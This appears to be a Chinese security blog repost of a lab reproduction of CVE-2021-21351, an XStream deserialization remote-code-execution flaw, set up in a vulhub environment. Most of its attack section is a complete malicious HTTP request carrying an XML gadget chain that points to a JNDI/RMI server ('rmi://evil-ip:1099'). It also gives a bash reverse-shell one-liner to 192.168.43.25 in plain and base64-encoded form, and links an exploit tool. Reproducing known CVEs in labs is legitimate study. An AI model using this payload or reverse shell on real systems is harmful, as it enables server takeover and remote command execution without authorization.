复现CVE-2021-21351

admin 2024年11月21日14:29:38评论11 views字数 4055阅读13分31秒阅读模式

声明:文章仅供学习和参考,出现一切违法违纪行为,概不负责。

0x01 XStream是什么?

XStreamJAVA的一个库,用来将对象序列化为XML,或将XML反序列化为对象

0x02 影响范围

XStream <=1.4.15

0x03 攻击方式

由于黑名单缺陷,攻击者可以通过输入流注入对象,构造恶意XML文档,进而实现任意命令执行

javax.naming.ldap.Rdn$RdnEntryjavax.sql.rowset.BaseRowSet

0x04 环境搭建

/vulhub-master/xstream/CVE-2021-21351/

复现CVE-2021-21351

0x05 复现

访问8080端口

复现CVE-2021-21351

发送正常的数据包,回显正常

复现CVE-2021-21351

搭建恶意服务器

复现CVE-2021-21351

工具地址:

https://github.com/welk1n/JNDI-Injection-Exploit/https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

发送恶意数据包

复现CVE-2021-21351

注意dataSource标签处是恶意服务器的地址

复现CVE-2021-21351

到容器中查看,mkdir的命令执行成功

复现CVE-2021-21351

进一步上传反弹shell命令即可拿到shell

bash -i >& /dev/tcp/192.168.43.25/6767 0>&1bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjI1LzY3NjcgMD4mMQ==}|{base64, -d}|{bash, -i}

 大佬脚本

POST / HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: closeContent-Type: application/xmlContent-Length: 3184<sorted-set> <javax.naming.ldap.Rdn_-RdnEntry>   <type>ysomap</type>   <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>     <m__DTMXRTreeFrag>       <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>         <m__size>-10086</m__size>         <m__mgrDefault>           <__overrideDefaultParser>false</__overrideDefaultParser>           <m__incremental>false</m__incremental>           <m__source__location>false</m__source__location>           <m__dtms>              <null/>           </m__dtms>           <m__defaultHandler/>         </m__mgrDefault>         <m__shouldStripWS>false</m__shouldStripWS>         <m__indexing>false</m__indexing>         <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>           <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>             <javax.sql.rowset.BaseRowSet>               <default>                 <concurrency>1008</concurrency>                 <escapeProcessing>true</escapeProcessing>                 <fetchDir>1000</fetchDir>                 <fetchSize>0</fetchSize>                 <isolation>2</isolation>                 <maxFieldSize>0</maxFieldSize>                 <maxRows>0</maxRows>                 <queryTimeout>0</queryTimeout>                 <readOnly>true</readOnly>                 <rowSetType>1004</rowSetType>                  <showDeleted>false</showDeleted>                 <dataSource>rmi://evil-ip:1099/example</dataSource>                  <listeners/>                  <params/>                </default>             </javax.sql.rowset.BaseRowSet>              <com.sun.rowset.JdbcRowSetImpl>                <default/>             </com.sun.rowset.JdbcRowSetImpl>           </fPullParserConfig>           <fConfigSetInput>             <class>com.sun.rowset.JdbcRowSetImpl</class>             <name>setAutoCommit</name>              <parameter-types>               <class>boolean</class>              </parameter-types>           </fConfigSetInput>           <fConfigParse reference='../fConfigSetInput'/>           <fParseInProgress>false</fParseInProgress>         </m__incrementalSAXSource>         <m__walker>           <nextIsRaw>false</nextIsRaw>         </m__walker>         <m__endDocumentOccured>false</m__endDocumentOccured>         <m__idAttributes/>         <m__textPendingStart>-1</m__textPendingStart>         <m__useSourceLocationProperty>false</m__useSourceLocationProperty>         <m__pastFirstElement>false</m__pastFirstElement>       </m__dtm>       <m__dtmIdentity>1</m__dtmIdentity>     </m__DTMXRTreeFrag>     <m__dtmRoot>1</m__dtmRoot>     <m__allowRelease>false</m__allowRelease>   </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry>   <type>ysomap</type>   <value class='com.sun.org.apache.xpath.internal.objects.XString'>     <m__obj class='string'>test</m__obj>   </value> </javax.naming.ldap.Rdn_-RdnEntry></sorted-set>
文章中可能有写得不足的地方(大佬轻点喷),大佬可以指出不足之处,本人将及时改正。

本期就先分享这些内容,下期见。

复现CVE-2021-21351

奇点bit

复现CVE-2021-21351

微信号|wz-GoGoGo

复现CVE-2021-21351

每天一小步,进步一大步。

原文始发于微信公众号(奇点bit):复现CVE-2021-21351

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日14:29:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   复现CVE-2021-21351https://cn-sec.com/archives/1791323.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息